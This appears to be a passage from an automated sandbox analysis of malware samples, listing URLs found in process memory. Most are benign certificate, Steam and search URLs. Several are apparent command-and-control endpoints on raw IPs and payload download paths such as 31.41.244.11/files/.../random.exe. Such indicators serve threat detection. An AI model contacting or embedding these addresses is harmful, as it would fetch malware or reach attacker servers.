Source: 8b77671daf.exe, 0000002D.00000002.3345216171.0000000001198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpu
Source: 8b77671daf.exe, 0000002D.00000002.3345216171.0000000001198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/d
Source: 8b77671daf.exe, 0000002D.00000002.3345216171.0000000001198000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/l
Source: 8b77671daf.exe, 0000002D.00000002.3342170968.00000000003C7000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: http://185.215.113.206s.exe
Source: skotes.exe, 00000005.00000002.3347201888.0000000001069000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.3347201888.000000000100E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000005.00000002.3347201888.000000000100E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpku
Source: skotes.exe, 00000005.00000002.3347201888.000000000100E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000005.00000002.3347201888.0000000000FE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe
Source: skotes.exe, 00000005.00000002.3347201888.000000000100E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exeI
Source: skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe
Source: skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.execE
Source: skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exe
Source: skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe=izZ
Source: skotes.exe, 00000005.00000002.3347201888.000000000103C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exezj
Source: 4fa13d4e43.exe, 00000027.00000003.3295276363.0000000005383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 4fa13d4e43.exe, 00000027.00000003.3295276363.0000000005383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 4fa13d4e43.exe, 00000027.00000002.3344975547.0000000000CC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microX
Source: 4fa13d4e43.exe, 00000027.00000003.3295276363.0000000005383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: skotes.exe, 00000005.00000002.3347201888.000000000102B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000005.00000002.3347201888.000000000102B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: 4fa13d4e43.exe, 00000027.00000003.3295276363.0000000005383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 4fa13d4e43.exe, 00000027.00000003.3295276363.0000000005383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 4fa13d4e43.exe, 00000027.00000003.3295276363.0000000005383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 4fa13d4e43.exe, 00000027.00000003.3295276363.0000000005383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: skotes.exe, 00000005.00000002.3347201888.000000000102B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000005.00000002.3347201888.000000000102B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: 153848897b.exe, 00000025.00000003.2979579217.0000000007202000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fivegr5sb.top/kJZQfgRLErzqwUgdaDCN17
Source: 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://home.twentygr20sb.top/kNcZsqQOSglxukmuLod391
Source: 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://home.twentygr20sb.top/kNcZsqQOSglxukmuLodY1734167391
Source: 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://home.twentygr20sb.top/kNcZsqQOSglxukmuLodY1734167391http://home.twentygr20sb.top/kNcZsqQOSglx
Source: 153848897b.exe, 00000025.00000003.2979579217.0000000007202000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000003.3118352471.00000000070F1000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: 4fa13d4e43.exe, 00000027.00000003.3295276363.0000000005383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 4fa13d4e43.exe, 00000027.00000003.3295276363.0000000005383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: skotes.exe, 00000005.00000002.3347201888.000000000102B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954867621.0000000000BA7000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954501119.0000000000AFC000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954867621.0000000000BA7000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954501119.0000000000AFC000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954867621.0000000000BA7000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954501119.0000000000AFC000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: 8fdf5f1a62.exe, 00000006.00000003.2781440576.0000000002501000.00000004.00000020.00020000.00000000.sdmp, 8fdf5f1a62.exe, 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmp, random[1].exe1.5.dr	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 4fa13d4e43.exe, 00000027.00000003.3295276363.0000000005383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 4fa13d4e43.exe, 00000027.00000003.3295276363.0000000005383000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 4fa13d4e43.exe, 00000027.00000003.3238146027.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3238488106.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3234790369.000000000531C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: 4fa13d4e43.exe, 00000027.00000003.3298953440.000000000536A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: 4fa13d4e43.exe, 00000027.00000003.3298953440.000000000536A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: 4fa13d4e43.exe, 00000027.00000003.3238146027.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3238488106.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3234790369.000000000531C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: 4fa13d4e43.exe, 00000027.00000003.3238146027.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3238488106.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3234790369.000000000531C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 4fa13d4e43.exe, 00000027.00000003.3238146027.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3238488106.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3234790369.000000000531C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B07000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B07000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954867621.0000000000BA7000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000002.2954501119.0000000000AFC000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B07000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B07000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=Cx79WC7T
Source: f384e6dcaa.exe, 00000024.00000003.2953236213.0000000000B07000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=foEB
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=ImL_uti9QFBw&l=e
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2953168028.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp, f384e6dcaa.exe, 00000024.00000003.2942929988.0000000000B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: 4fa13d4e43.exe, 00000027.00000003.3298953440.000000000536A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 4fa13d4e43.exe, 00000027.00000003.3298953440.000000000536A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 153848897b.exe, 00000025.00000003.2979579217.0000000007202000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000003.3118352471.00000000070F1000.00000004.00001000.00020000.00000000.sdmp, 0ef66f58de.exe, 00000026.00000002.3160260217.00000000013D2000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: 4fa13d4e43.exe, 00000027.00000003.3238146027.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3238488106.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3234790369.000000000531C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 4fa13d4e43.exe, 00000027.00000003.3238146027.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3238488106.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3234790369.000000000531C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 4fa13d4e43.exe, 00000027.00000003.3238146027.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3238488106.0000000005319000.00000004.00000800.00020000.00000000.sdmp, 4fa13d4e43.exe, 00000027.00000003.3234790369.000000000531C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
